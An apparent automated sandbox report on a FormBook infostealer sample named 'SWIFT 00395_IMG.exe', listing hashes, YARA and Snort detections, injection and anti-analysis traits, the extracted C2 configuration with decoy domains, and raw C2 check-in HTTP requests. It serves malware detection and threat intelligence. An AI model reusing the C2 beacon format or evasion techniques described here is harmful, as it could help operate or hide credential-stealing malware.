Analysis Report SWIFT 00395_IMG.exe

Overview

General Information

Sample Name: SWIFT 00395_IMG.exe
Analysis ID: 403611
MD5: f19e6012ff248b9b380bb420080258ce
SHA1: 317ee43a8116aae39f3de3279620ecff4ac05b2c
SHA256: 069a900aaa6ab5e4b9279cf5bd47e7123c37787f87ac58d6e64383685371ba52
Tags: Formbook
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
C2 URLs / IPs found in malware configuration
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect virtualization through RDTSC time measurements
Writes to foreign memory regions
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.seroungift.com/bbqo/"], "decoy": ["theinfluenstar.com", "1800quilts.com", "sonsuz-muzik.com", "manilowsmodems.com", "amwajcare.com", "eam.email", "cscosmos.com", "tierraovens.com", "goimtv.com", "checks4d.com", "beijig.com", "szzyhjj.com", "huanchunjx.com", "catqq.one", "vendasuascartas.com", "cannatends.com", "cytotecobatpenggugur.com", "centralvalleypartners4youth.com", "entreforma.com", "azhathai.com", "crickescore.com", "thebestcoffeeshops.com", "melacane.com", "sunrisemoving.net", "hauck-aufhauser.com", "katiacontrerash.com", "lavi3dscans.com", "senmec23.com", "photographerleadmachine.com", "snowtreeendeavor.com", "autosbencar.com", "epoform.com", "kissdstudio.com", "bestdamnseamoss.com", "ksdfp-zvhn.xyz", "cabletvlasvegas.com", "xiangyuwenhua.com", "angiesgourmet.com", "centerplans.com", "xyl.finance", "vivilhavemorgenmadnu.com", "jaynefgulbin.com", "californiahiker.com", "hausofzou.com", "velocischooner.com", "boxj66.com", "theboundless.life", "backroadinc.com", "diemapp.com", "whatismychinesename.com", "sebags.com", "stick.plus", "crwebtech.com", "famefabulous.com", "pubgsetpharaoh.com", "northernbackflow.com", "goportjitney.com", "warzonetracker.net", "homesteaddigestemail.com", "carboncuriosity.com", "sunnahaid.com", "makeoverfurn.com", "captisimaginem.com", "puzed.net"]}
Yara detected FormBook
Source: Yara match File source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Machine Learning detection for sample
Source: SWIFT 00395_IMG.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 1.2.svchost.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

barindex
Uses 32bit PE files
Source: SWIFT 00395_IMG.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: SWIFT 00395_IMG.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000000.688349508.0000000005A00000.00000002.00000001.sdmp
Source: Binary string: msdt.pdbGCTL source: svchost.exe, 00000001.00000003.709271951.0000000005400000.00000004.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: SWIFT 00395_IMG.exe, 00000000.00000003.657563874.0000000003200000.00000004.00000001.sdmp, svchost.exe, 00000001.00000002.712731644.000000000391F000.00000040.00000001.sdmp, msdt.exe, 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: SWIFT 00395_IMG.exe, 00000000.00000003.657563874.0000000003200000.00000004.00000001.sdmp, svchost.exe, msdt.exe
Source: Binary string: svchost.pdb source: msdt.exe, 00000007.00000002.920789443.00000000053E7000.00000004.00000001.sdmp
Source: Binary string: svchost.pdbUGP source: msdt.exe, 00000007.00000002.920789443.00000000053E7000.00000004.00000001.sdmp
Source: Binary string: msdt.pdb source: svchost.exe, 00000001.00000003.709271951.0000000005400000.00000004.00000001.sdmp
Source: Binary string: wscui.pdb source: explorer.exe, 00000004.00000000.688349508.0000000005A00000.00000002.00000001.sdmp
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_004059F0 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 0_2_004059F0
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_0040659C FindFirstFileA,FindClose, 0_2_0040659C
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_004027A1 FindFirstFileA, 0_2_004027A1
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user\AppData\Local\Temp\nsuD98F.tmp Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user\AppData\Local\Temp\u2xvckwaqaki Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user\AppData\Local\Temp\jckq5d4hbdkbi4n7hsr Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe File opened: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Jump to behavior

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4x nop then pop edi 1_2_0040C3BE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 4x nop then pop edi 7_2_00A6C3BE

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49754 -> 45.192.92.174:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49754 -> 45.192.92.174:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49754 -> 45.192.92.174:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49756 -> 180.150.102.39:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49756 -> 180.150.102.39:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49756 -> 180.150.102.39:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49762 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49762 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49762 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49767 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49767 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49767 -> 34.102.136.180:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.seroungift.com/bbqo/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=DAKSku2UP9w0lKXY+LhytUUwyem6IfHDB7QSSdTpSALkSldV/1o9CxHuilJYCYQ/V6tP HTTP/1.1Host: www.thebestcoffeeshops.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?XB64XbO8=trcmmZYAhW1z3xFVKWe7fHl88qCucLFuCi4mCu0pcnYYHjBJZxUhua0G6TwplXUzf90o&Rb=M42dVLz8 HTTP/1.1Host: www.szzyhjj.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=XLcvqqeS1lhWgJP77JDDmgANyyJOPhQvBMhs62kpQnu2foMme1WiKofFk1rRWdP6dmuL HTTP/1.1Host: www.puzed.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?XB64XbO8=gW47Pg8Fo6iIv2ud/64/p2+3hov1DZqi/pO7CWKW8hPHr2u5wHbVWSaPXrsCIEHv8cct&Rb=M42dVLz8 HTTP/1.1Host: www.makeoverfurn.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=5cE52+XUn5YOw4VrTBFj5Yjg6Bdl2wnKeIdlDky+FVUstW8yNKK8e4wg1M4nQ/djAnNx HTTP/1.1Host: www.theboundless.lifeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=40XENB+TcZexP2uUOo8nZZ5shhtfu5CrxuaTgdlTMM4sGAobqBEK7c7NHXloi3y0yuoT HTTP/1.1Host: www.northernbackflow.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?XB64XbO8=+83Ad9ys8+FMkuQHLQbEUx121DE/6nLvKA5vTUyMQ3D5zQ4YR59KLRowGPLGetqdy+rw&Rb=M42dVLz8 HTTP/1.1Host: www.crickescore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?XB64XbO8=/Pkgzq8QL5NAcxZCkuSTp6cwj4lDt7P1w6jr1cEe5khMYSySzdqjBreEbEJxEDRHbmyL&Rb=M42dVLz8 HTTP/1.1Host: www.1800quilts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=OyJvVzFrogId2JmOPk1mxNUaVNmw8U6tV5/SqSy/NPm0fO+yJiD5oYjbB5t0rhfZdAPi HTTP/1.1Host: www.xiangyuwenhua.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?XB64XbO8=GhdvojHCfMDRUam/4qOkhbREqNoCRj0dcDXGN06f9NKfhUBJ97Or2+k+J6GDFZvtQIxr&Rb=M42dVLz8 HTTP/1.1Host: www.seroungift.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=YYVXHHveBgSLNZYesnT1AghiVl/Xx3BIBb/tObWwW6qpUDZVV8sOQ19Z9K/TOFaASXJK HTTP/1.1Host: www.carboncuriosity.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 85.233.160.23 85.233.160.23
Source: Joe Sandbox View IP Address: 184.168.131.241 184.168.131.241
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View ASN Name: DXTL-HKDXTLTseungKwanOServiceHK DXTL-HKDXTLTseungKwanOServiceHK
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=DAKSku2UP9w0lKXY+LhytUUwyem6IfHDB7QSSdTpSALkSldV/1o9CxHuilJYCYQ/V6tP HTTP/1.1Host: www.thebestcoffeeshops.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?XB64XbO8=trcmmZYAhW1z3xFVKWe7fHl88qCucLFuCi4mCu0pcnYYHjBJZxUhua0G6TwplXUzf90o&Rb=M42dVLz8 HTTP/1.1Host: www.szzyhjj.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=XLcvqqeS1lhWgJP77JDDmgANyyJOPhQvBMhs62kpQnu2foMme1WiKofFk1rRWdP6dmuL HTTP/1.1Host: www.puzed.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?XB64XbO8=gW47Pg8Fo6iIv2ud/64/p2+3hov1DZqi/pO7CWKW8hPHr2u5wHbVWSaPXrsCIEHv8cct&Rb=M42dVLz8 HTTP/1.1Host: www.makeoverfurn.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=5cE52+XUn5YOw4VrTBFj5Yjg6Bdl2wnKeIdlDky+FVUstW8yNKK8e4wg1M4nQ/djAnNx HTTP/1.1Host: www.theboundless.lifeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=40XENB+TcZexP2uUOo8nZZ5shhtfu5CrxuaTgdlTMM4sGAobqBEK7c7NHXloi3y0yuoT HTTP/1.1Host: www.northernbackflow.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?XB64XbO8=+83Ad9ys8+FMkuQHLQbEUx121DE/6nLvKA5vTUyMQ3D5zQ4YR59KLRowGPLGetqdy+rw&Rb=M42dVLz8 HTTP/1.1Host: www.crickescore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?XB64XbO8=/Pkgzq8QL5NAcxZCkuSTp6cwj4lDt7P1w6jr1cEe5khMYSySzdqjBreEbEJxEDRHbmyL&Rb=M42dVLz8 HTTP/1.1Host: www.1800quilts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=OyJvVzFrogId2JmOPk1mxNUaVNmw8U6tV5/SqSy/NPm0fO+yJiD5oYjbB5t0rhfZdAPi HTTP/1.1Host: www.xiangyuwenhua.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?XB64XbO8=GhdvojHCfMDRUam/4qOkhbREqNoCRj0dcDXGN06f9NKfhUBJ97Or2+k+J6GDFZvtQIxr&Rb=M42dVLz8 HTTP/1.1Host: www.seroungift.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=YYVXHHveBgSLNZYesnT1AghiVl/Xx3BIBb/tObWwW6qpUDZVV8sOQ19Z9K/TOFaASXJK HTTP/1.1Host: www.carboncuriosity.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: unknown DNS traffic detected: queries for: www.thebestcoffeeshops.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 May 2021 06:54:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesContent-Language: enExpires: Tue, 04 May 2021 06:54:49 GMTData Raw: 33 64 63 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 6d 77 40 6d 61 72 63 75 73 77 6f 6c 66 66 64 65 73 69 67 6e 2e 63 6f 6d 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0a 0a 3c 2f 70 3e 0a 3c 70 3e 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 6d 77 40 6d 61 72 63 75 73 77 6f 6c 66 66 64 65 73 69 67 6e 2e 63 6f 6d 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 6
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com
Source: SWIFT 00395_IMG.exe String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: SWIFT 00395_IMG.exe String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000004.00000002.919974024.0000000002B50000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: msdt.exe, 00000007.00000002.920833140.0000000005562000.00000004.00000001.sdmp String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js
Source: msdt.exe, 00000007.00000002.920833140.0000000005562000.00000004.00000001.sdmp String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jQuery.serializeObject/2.0.3/jquery.serializeObject.min.js
Source: msdt.exe, 00000007.00000002.920833140.0000000005562000.00000004.00000001.sdmp String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/json3/3.3.2/json3.min.js

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exe Code function: 0_2_0040548D GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_0040548D

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
